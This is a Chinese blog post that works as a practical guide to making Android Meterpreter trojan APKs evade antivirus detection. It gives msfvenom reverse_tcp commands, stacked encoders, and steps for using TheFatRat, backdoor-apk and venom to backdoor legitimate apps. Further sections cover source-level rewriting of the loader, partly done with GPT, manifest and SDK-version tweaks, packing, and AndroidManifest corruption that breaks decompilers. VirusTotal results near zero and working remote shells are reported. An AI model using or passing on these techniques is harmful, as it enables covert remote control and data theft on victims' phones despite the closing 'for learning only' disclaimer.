Android免杀小结

已于 2023-10-13 17:18:16 修改
阅读量344 收藏 9
点赞数
文章标签： android 网络安全 web安全 安全
于 2023-10-11 14:44:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_80127209/article/details/133769689
版权

目录

msfvenom 自动生成

自带免杀

工具免杀

Thefatrat

backdoor-apk

old-fatrat

msfVenom嵌入式方法

venom

工具小记

加壳

源码免杀

加壳

源码混淆

数据通信

启动和运行方式修改

对抗反编译

反编译工具崩溃

ZIP文件格式对抗

ZIP通用位伪加密

AndroidManifest.xml

AndroidManifest 组合权限判断

AndroidManifest 幻数

stringPoolSize陷阱

对抗反编译小结

参考链接

免杀练习两年半

VT检测 https://www.virustotal.com/gui/home/upload

msfvenom 自动生成

查看一下msfvenom里面的android木马

msfvenom -l payloads | grep android

使用 android/meterpreter/reverse_tcp

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=10008 R > black.apk直接使用msfvenom生成的病毒APK，丢到VirScan里面10/46 ， 蒽....这也行virustotal检查，26/64....自带一部分免杀效果

自带免杀

msfvenom自带有免杀，接下来使用自带工具进行简单免杀查看msf自带编码器

msfvenom --list encoders这两个效果是最好的

虽然这个是x86的，但是也能兼容在APK中，编码一次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai R > black_1.apk
是 9/59

编码20次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -i 20 R > black_2.apk

 跟编码一次效果一致

使用 -b 特征码无效  

 使用多重编码，增大免杀概率

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik --encoder x86/call4_dword_xor --iterations 5 --encoder x86/countdown --iterations 4 --encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk

这里用到了 x86/call4_dword_xor，x86/countdown，x86/shikata_ga_nai 三个编码器没想到免杀效果反而变弱了，只能说是有的编码器特征已经被记录在了检测引擎里面，只要用了就会被检测到

工具免杀

APK免杀的工具好像比较少

Thefatrat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

安装部署弄半天

环境OK了之后运行

sudo ./fatrat
进入程序主界面
APK相关的就第五条，在原有的APK文件里面植入后门，这里的APK就用李跳跳吧额忘记这玩意加过壳了拿一个之前同事给我的没加壳的优酷

这里有三个方法可以选择

  • 使用 Backdoor-apk 0.2.4a：Backdoor-apk 是一个用于在Android应用程序中嵌入后门的开源工具。它允许攻击者在现有的APK文件中插入恶意代码，以实现对目标设备的远程访问或控制。该方法依赖于 Backdoor-apk 工具的功能和特性，并且可以通过指定参数来自定义后门的行为。

不过这个项目也几年没更新了，原项目地址为 https://github.com/dana-at-cp/backdoor-apk

  • 使用旧的 Fatrat 方法：这是指使用旧版本的 TheFatRat 工具来创建后门。TheFatRat 是一个基于Metasploit框架的多合一工具，旨在简化后门的创建和利用。它提供了多种攻击向量和功能，包括生成恶意应用程序、创建恶意文档等。使用旧的 Fatrat 方法可能涉及使用过时的工具版本和技术。

这个方法应该就是fatrat内置的方法

  • 使用 MsfVenom 嵌入式方法：MsfVenom 是Metasploit框架中的一个强大工具，用于生成定制的恶意代码。嵌入式方法是指使用 MsfVenom 来生成恶意有效负载，并将其嵌入到合法应用程序或文档中，以创建后门。这种方法可以通过设置有效负载选项和参数来自定义后门的行为。

这里我们当然要把每种方式都试一下

backdoor-apk

 

这里的权限文件是否要混淆，我建议保持原样，减少特征结果出现了这个问题

[!] Failed to recompile original project with backdoor

 

 单独下载backdoor-apk来进行测试 https://github.com/dana-at-cp/backdoor-apk ，还是存在这个问题，考虑是存在加壳或签名验证的问题，找一个本地自签名的APK丢上去试试（因为我试了一下无签名文件也会有问题在backdoor-apk/backdoor-apkoriginal/dist/ 目录下生成带后门的apk文件

不过这个效果也不咋地，开源工具可以理解

old-fatrat

拿一个选择old-fatrat

 

把我之前的一个Android系统签名的APK放进去，生成成功

图片

在TheFatRat 文件夹下面会生成 app_backdoored.apk，不过在VT上面的效果并不理想

图片

msfVenom嵌入式方法

图片

蒽...让我更新apktool，现在最新的版本是2.8.1

图片

本地的apktool环境好像因为TheFatRat搞混乱了，第三种方式就跳过吧 懒得搞环境了~

venom

项目地址 https://github.com/r00t-3xp10it/venom

图片

当然是选择 4 Android / IOSagents 有三个可以选择的，这里我们选择APK后缀的 1

图片

后面就是一些常规设置 和 设置监听了

图片

/venom/output 里面的木马文件大小是0kb

图片

如果想要下载真实的木马文件需要本机访问浏览器下载，比如我前面写的IP是10.10.10.1，如果想要下载的话就是写虚拟机的IP

下载之后丢到VT 26/64

图片

工具小记

这样的结果很正常，因为这些工具很久没有更新了，其中的特征都被厂商加入特征库了，但是在工具刚出的时候，都是具有里程碑意义的，我们学习其中的原理即可

加壳

下载360加固助手 https://jiagu.360.cn/#/global/download结果被检测了 orz

图片

再尝试一下 https://github.com/woxihuannisja/Bangcle

java -jar Bangcle.jar b .\black_1.apk

也不行

图片

换一个APK，然后卡住了

图片

蒽....加壳其实可以过很多特征码检测的扫描工具，这里没有找到能直接用的就算了

源码免杀

要想进行源码免杀，就得先知道源代码做了什么其实也可以替换msfvenom生成木马APK的smail文件，但实际上特征还是在，如果想按照这种思路的话，先知上面之前有文章 https://xz.aliyun.com/t/2967创建一个什么都不做的Android项目，检查一下有没有误报

图片

编写Android app工程，把msfvenom里面的移植过来

图片

这部分其实是加载器代码

图片

想要在本地运行，配置文件需要写到 configBytes 列表里面，因为这个配置列表我不知道是怎么生成的，看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件所以这部分直接跳过加密解密配置部分，稍微魔改一下

图片

这里会走入 if 分支，所以我们在这里魔改

图片

修改main方法

图片

投递到手机中启动

图片

查看是否为我们的机器

图片

对比PID一致

图片

换一个有杀毒软件的手机

图片

图片

这个时候的APK放到VT上面是 8/64

图片

加壳

把源码拿出来之后，预感就可以过360加壳的检测了，果不其然

图片

估计之前的检测也是通过msfvenom生成APK的包名之类的特征来检测的丢到GDA里面可以看到是成功加壳了

图片

这个时候丢到VT上面，居然还是 8/66，沉默了家人们

图片

虽然有自动脱壳的可能性，但是这样计算量太大了，我感觉不会这么快就解出来去除xml里面的这部分内容，主要是感觉这个特征太明显了

图片

依旧这样

图片

再改改XML里面的各个参数值，stage改成lib引用

图片

发现VT里面有的是检测到了壳产生的告警

图片

打开一个正常的APK，丢到VT上面

图片

给它进行360加固，再丢到VT上面

图片

额....所以有的告警其实是360加固导致的，免费的360加固里面会存在特征文件，需要使用付费版才可以去除 orz

图片

  • ESET-NOD32

  • Fortinet

  • MaxSecure

看起来都是误报但是 K7GW 的特征是 Trojan ( 0052d2661 )，之前木马APK的特征它报的是 005983af1，暂且认为是有对于msf的特定检测

去除Android本身的权限校验，留下

<uses-permission android:name="android.permission.INTERNET" />

因为我们需要用这个权限来启动service，当然其他权限其实也可以留下来一部分，但是这里直接全部去掉

图片

加固

图片

按照我们之前说的360加固壳会出现误报，这里实际上只有三个工具检测是生效的

  • K7GW Trojan ( 0052d2661 )

  • Kaspersky

  • ZoneAlarm by Check Point

不影响攻击机获取shell，某些针对Android上的功能会受到影响

图片

源码混淆

源码混淆主要从两个方面进行，主工程代码和lib库混淆关于特征是在主工程还是lib库，我们可以在不引入lib库的情况下进行测试，而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到，当我们选择SOCKET的时候，是用不到lib库的（更加理所当然的去除掉它们

图片

结果依旧

图片

简单从下面几个方向进行修改：

数据通信

先把socket通信去掉

图片

依旧

图片

所以这部分可以直接跳过了，直接修改启动和运行方式

启动和运行方式修改

这个部分其实比较抽象抛砖引玉吧，如果你想让自己的字迹不被别人看出来，最好的方法是用你的左手写代码也是同理，刚好GPT写代码很死板，这个任务丢给它刚好

图片

以此类推，然后再删掉一些多余的代码，比如findContext()等等，在不考虑性能的情况下，把全局变量和局部变量换一下位置在不加壳的情况下 1/64，依旧能够上线

图片

图片

最后加个壳，反而变多了，之前检测出木马的Antiy现在没有告警了，可以理解为已经绕过了这四个检测我们前面提到过，都是针对加固的告警

图片

经过排查之后发现一个很搞笑的点，杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗查了一下原因如下

  • 兼容性问题：minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion，以便在更多设备上运行。杀毒软件会检查minSdkVersion，如果它较低且与APK的其他特征相匹配，就可能被认为是木马。

  • 安全漏洞：较旧的Android版本可能存在已知的安全漏洞或弱点，黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此，一些杀毒软件会关注minSdkVersion，以便识别并阻止可能利用这些漏洞的恶意软件。

  • 平台限制：某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion，杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能，从而将其标记为潜在的木马。

实验步骤如下：现在minSdkVersion 为 28

图片

Antiy-AVL 告警 Trojan/Generic.ASMalwAD.B6

图片

修改为 30 (反正不等于28就行，我测试了一下26也可以)，现在是 DrWeb 告警 Android.Siggen.Susp.4604

图片

这个告警经过排查修改布局库版本可以避免

图片

修改为

implementation 'androidx.constraintlayout:constraintlayout:2.1.4'

估计是跟某个木马的库版本匹配上了

图片

检查上线

图片

对抗反编译

对抗反编译是一门哲学

虽然前面我们已经很成功了，但是还是有一个遗憾，那就是我们删除了一些权限来进行免杀获取shell，权限文件存储在APK解压后的AndroidManifest.xml 文件里面

如果你跟我一样是一个爱读书的好孩子，在《Android软件安全与逆向分析》第十章中就专门花了一章的篇幅来提到 Android程序的反破解技术AV在静态检测的过程中，实际上跟软件逆向静态分析没有什么区别，所以我们在这部分进行一下AV对抗

反编译工具崩溃

大多数文章是通过反编译工具崩溃来实现对抗，但是这个方法具有版本限制，在新版本的工具上可能就没有这个问题了，比如对抗dex2jar，这里就不再赘述

ZIP文件格式对抗
ZIP通用位伪加密

修改ZIP通用位来进行伪加密，比如使用 ZipCenOp.jar这个工具这种方法对于android 4.2.x版本及以后系统已经不适用了，Android系统会拒绝这种加密apk的安装

AndroidManifest.xml

这一小节主要讲如何对 AndroidManifest.xml 进行操作实现杀毒软件突破

AndroidManifest.xml是白月光

AndroidManifest 组合权限判断

将上一节的免杀APK打开权限开关

图片

VT 现在是 3/65

图片

APK木马里面的某些功能一定是需要某个权限的，但是申请这些权限也不一定是恶意应用个人感觉是有部分误报了，重新创建一个新的项目，什么都不干只申请这些权限

图片

GPT也觉得这是正常权限

图片

无妨，猜测可能是组合权限判定，我们先删除某些权限删掉

<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

图片

当然这几个是我随便删的，组合权限判断很死板，也有可能删掉一两个权限就能达成免杀，现在再到VT上面 就变成了

图片

AndroidManifest 幻数

如果你跟我一样做过逆向，你会发现偶尔我们使用apktool 去逆向APK的时候会出错，因为AndroidManifest.xml文件里面某些字节出错了（导致apktool出错的可能很多，也可以是在Android代码里面留陷阱），总而言之，就是解析XML不成功，这样的情况下还想看到里面的权限列表当然是不可能的（但是APK是能正常运行的），我们利用这个特性给AV一点小小的震撼

链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail，但是是从修复角度来看待的问题，我们需要的是

  • Android能够成功安装运行

  • 逆向软件不能解析AndroidManifest.xml

具体需要修改哪一位能阻碍逆向？本来我是想通过fuzz的方式来找到单位幻数，查资料的时候发现看雪上有师傅研究过https://bbs.kanxue.com/thread-272045.htm

AndroidManifest文件的幻数（Magic Number），即文件头为0x00080003。将其修改后，反编译工具就无法识别AndroidManifest文件，导致反编译失败

图片

重新打包为APK使用AndroidKiller反编译出错，这里的apktool版本是 2.4.1

图片

当然在这种情况下AndroidManifest.xml是看不了的

图片

使用GDA，这里的AndroidManifest文件显示为空

图片

但是当我使用2.8.1版本的apktool的时候，幻数这个问题就被修复了

图片

AndroidManifest.xml成功被分析

图片

对APK添加证书后安装，即便是存在幻数，也能够成功安装

图片

具体是为什么Android能解析，之前的反编译工具不行，需要看Android这部分的源代码

图片

如源码所示,没有验证前两个字节是否是 0x0003，只对 headerSize 的合法性做了验证，所以修改了之后安装没问题

stringPoolSize陷阱

修改字符串个数 stringCount 字段，导致跟实际对应不上，也会造成AndroidManifest.xml解析出现问题实际上这里是68，我们将stringCount 设置为69

图片

然后重新保存签名，这个时候最新的apktool也识别不了了

图片

但是我们能够正常安装运行，为了进一步验证正确性，看一下日志是否去外连我的恶意服务器了可以看到存在监听动作（报错请忽略，此时服务器没有开启监听），说明APK恶意代码部分没问题

图片

对抗反编译小结

因为写这篇文章的时间比较长，写到这里的时候发现卡巴斯基已经把源码混淆部分的特征加进去了，去除部分组合权限后的通过率是 2/65 orz

图片

因为我要做对抗反编译的对照实验，所以需要先把免杀降到0经过检查发现是这部分代码被加入了特征

private static String getJarPath(String path){
    String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    return filePath + ".jar";
}

简单改一下

private static String a(String b){
    String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    String c = b + File.separatorChar + randomNum;
    return c + ".jar";
}

龙王归位

图片

把之前注释掉的权限都开放，变成了 3/64

图片

因为感觉stringPoolSize陷阱效果比较好，这里就是用这个方法来阻碍分析

图片

跟之前一样 这里的apktool 反编译是被阻碍的

图片

VT上面的效果为 2/65，干扰了 Sophos 杀毒软件的判断

参考链接

  • https://www.cnblogs.com/-qing-/p/11421735.html

  • https://www.freebuf.com/articles/network/249014.html

  • https://www.anquanke.com/post/id/86353

  • https://www.baichuanweb.cn/article/example-65

  • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

  • https://www.freebuf.com/articles/system/227462.html

  • https://anhkgg.com/aanti-virus/

  • https://misakikata.github.io/2018/09/%E5%85%B3%E4%BA%8EThefatrat%E5%85%8D%E6%9D%80%E4%BD%BF%E7%94%A8/

  • https://zone.huoxian.cn/d/1081-androidapp

  • https://cloud.tencent.com/developer/article/1472324

  • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

  • https://bbs.kanxue.com/thread-272045.htm

原文地址： https://xz.aliyun.com/t/12893

 声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

hack渗透视频教程，扫码免费领

运维Z叔
关注
安卓后门工具：backdoor-apk 教程
Sumarua的博客
07-26 7577
文章目录安卓后门工具：backdoor-apk 教程backdoor-apk 下载、安装、使用教程1、下载backdoor-apk2、下载完成后我们进入到其文件目录下：3、在当前目录下，我们可以看到一个脚本文件。4、Android清单权限选项：如何判断后门APK是否生成 成功？5、成功执行以上操作后，会生成一个绑定后门的 secist.apk 文件，默认被保存在 backdoor-apk>>original>>dist 目录下！下面我们来启动侦听：6、同时，我将生成的带有后门的 AP
TideSec远控免杀学习四（BackDoor-Factory+Avet+TheFatRat）
fa1lr4in的小博客
02-12 3381
BackDoor-Factory 介绍 BackDoor-factory，又称后门工厂(BDF)，BDF是也是一款老牌的免杀神器，其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新，免杀效果就算现在来看也还算不错的。 原理：可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来...
安卓逆向基础知识之apk文件结构
wei_java144的博客
08-10 4172
最近在看正己大佬的安卓逆向教程，我顺便了解了些相关的基础知识，我就想把这些基础知识做个汇总，若有错误请大佬指正！
华为手机安装apk提示该应用已感染病毒，ESET-NOD32病毒
热门推荐
qq_30730419的博客
09-24 8万+
apk不是应用市场下载的，华为手机安装的时候看到提示该应用已病毒或者包含不良信息一脸懵，开发过那么多app都没遇到过这种问题，由于项目是接手的，完全不知道加载了什么第三方库，并且只有华为手机会检测到病毒，小米不会。 一开始是以为是获取手机通讯录权限的问题，把代码都删掉，再次安装apk。华为这种检测奇特，你一开始装apk不会马上提示病毒，过段几个小时，要么到第二天才能知道apk会不会报。删掉通讯录权限后还是一样提示，开始打开了百度。 查到可以用VirusTotal这个软件去...
backdoor-apk：backdoor-apk是一个shell脚本，可简化向任何Android APK文件添加后门的过程。 此Shell脚本的用户应具有Linux，Bash，Metasploit，Apktool，Android SDK和smali等的工作知识。此Shell脚本按原样提供，不提供任何形式的保证，并且仅用于教育目的
02-01
backdoor-apk：backdoor-apk是一个shell脚本，可简化向任何Android APK文件添加后门的过程。 此Shell脚本的用户应具有Linux，Bash，Metasploit，Apktool，Android SDK和smali等的工作知识。此Shell脚本按原样提供，不提供任何形式的保证，并且仅用于教育目的
app后台保活 拒绝强杀auto.js autojs pro9黑科技保活方案，应用永生 开机自启动，拒绝强制杀死，安卓鸿蒙后台运行
CloudControl的博客
11-23 3200
目前测试的手机从安卓7~安卓14，鸿蒙2.0 ~鸿蒙4.0 的所有机型都已经测试过了，都可以实现开机自启、清理后台自启、后台保活、主动重启自己、无障碍自启。
金三银四热潮下。Android高级工程师面试题整理
Android_SE的博客
03-27 1430
最近整理了一波面试题，包括安卓JAVA方面的，目前大厂还是以安卓源码，算法，以及数据结构为主，有一些中小型公司也会问到混合开发的知识，至于我为什么倾向于混合开发，我的一句话就是"走上编程之路，将来你要学不仅仅是这些，丰富自己方能与世接轨"，做好全栈的装备。 前言 金三银四，很多同学心里大概都准备着年后找工作或者跳槽。最近有很多同学都在交流群里求大厂面试题。正好我电脑里面有这方面的整理，于是...
深入解析：Android热修复技术选择和原理
weixin_43901866的博客
09-11 520
背景 想要成为一名优秀的Android开发，你需要一份完备的 知识体系，在这里，让我们一起成长为自己所想的那样~。 热修复就是通过下发补丁包，让已安装的客户端动态更新，用户不用重新安装APP，就能够修复软件缺陷。 热修复技术对比 1.公司角度 大致可以分为阿里系和腾讯系和其他，如下： 阿里系 Dexposed 开源，实时修复 AndFix 开源，实时生效 HotFix 阿里百川，未开源，免费、实时修复 Sophix 未开源，商业收费，实时生效/冷启动修复 HotFix是AndFix的优化版本，S
谈谈对Android音视频开发的探究
yinshipin007的博客
06-18 598
​编辑切换为居中添加图片注释，不超过 140 字（可选）在日常生活中，视频类应用占据了我们越来越多的时间，各大公司也纷纷杀入这个战场，不管是抖音、快手等短视频类型，虎牙、斗鱼等直播类型，腾讯视频、爱奇艺、优酷等长视频类型，还是Vue、美拍等视频编辑美颜类型，总有一款适合你。 未来随着5G普及以及网络资费的下降，音视频的前景是非常广阔的。但是另一方面，无论是音视频的编解码和播放器、视频编辑和美颜的各种算法，还是视频与人工智能的结合（AI剪片、视频修复、超清化等），它们都涉及了方方面面的底层知识，学习曲线比较陡
zip伪加密解密工具ZipCenOp.jar
12-22
CTF比赛中常见zip伪加密题目，用这个工具可以很方便的解密。
Android之Activity界面劫持反劫持
LVXIANGAN的专栏
02-09 2万+
总结： Activity劫持原理1、注册一个receiver，响应android.intent.action.BOOT_COMPLETED，使得开机启动一个service；这个service，会启动一个计时器，不停循环查询所有当前运行的进程（因为app可以枚举系统当前运行进程而无需声明其他权限） 2、一旦发现当前某一进程的Activity正是我们想要劫持的，并运行在前台，我们立马使用FLAG_A...
APP反编译对抗-AndroidManifest文件格式混淆
最新发布
weixin_43840642的博客
05-07 516
安卓逆向
【移动端应用开发】Androidmanifest文件加固和对抗
测试界的酸菜鱼
01-20 863
加固AndroidManifest.xml文件的方法包括混淆AndroidManifest.xml文件内容、加密AndroidManifest.xml文件内容、动态生成AndroidManifest.xml文件等。对抗AndroidManifest.xml文件的攻击的方法包括检测AndroidManifest.xml文件是否被篡改、防止AndroidManifest.xml文件被替换、防止AndroidManifest.xml文件被恶意代码注入等。三、对抗AndroidManifest.xml文件的攻击。
Android安全之防止被反编译
LVXIANGAN的专栏
01-13 5184
关于防止android apk被反编译的技术，主要介绍以下几种： 1、加壳技术（推荐） 2、运行时修改字节码 3、伪加密 4、对抗JD-GUI（推荐） 5、完整性校验（推荐） 防止apk反编译的技术1---加壳技术 一、什么是加壳？ 加壳是在二进制的程序中植入一段代码，在运行的时候优先取得程序的控制权，做一些额外的工作。 大多数病毒就是基于此原理。...
Android程序的反编译对抗研究
weixin_34130269的博客
10-09 151
转自： http://www.freebuf.com/tools/76884.html   一、前言 对抗反编译是指让apk文件或者dex文件无法正常通过反编译工具，而且有可能导致工具异常或者崩溃，如apktool、baksmali、dex2jar、JEB等等工具，如下图dex2jar无法正常工作。 二、Dex文件格式解析 目前大多数android软件的反编译工具都是开源的，比如ap...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值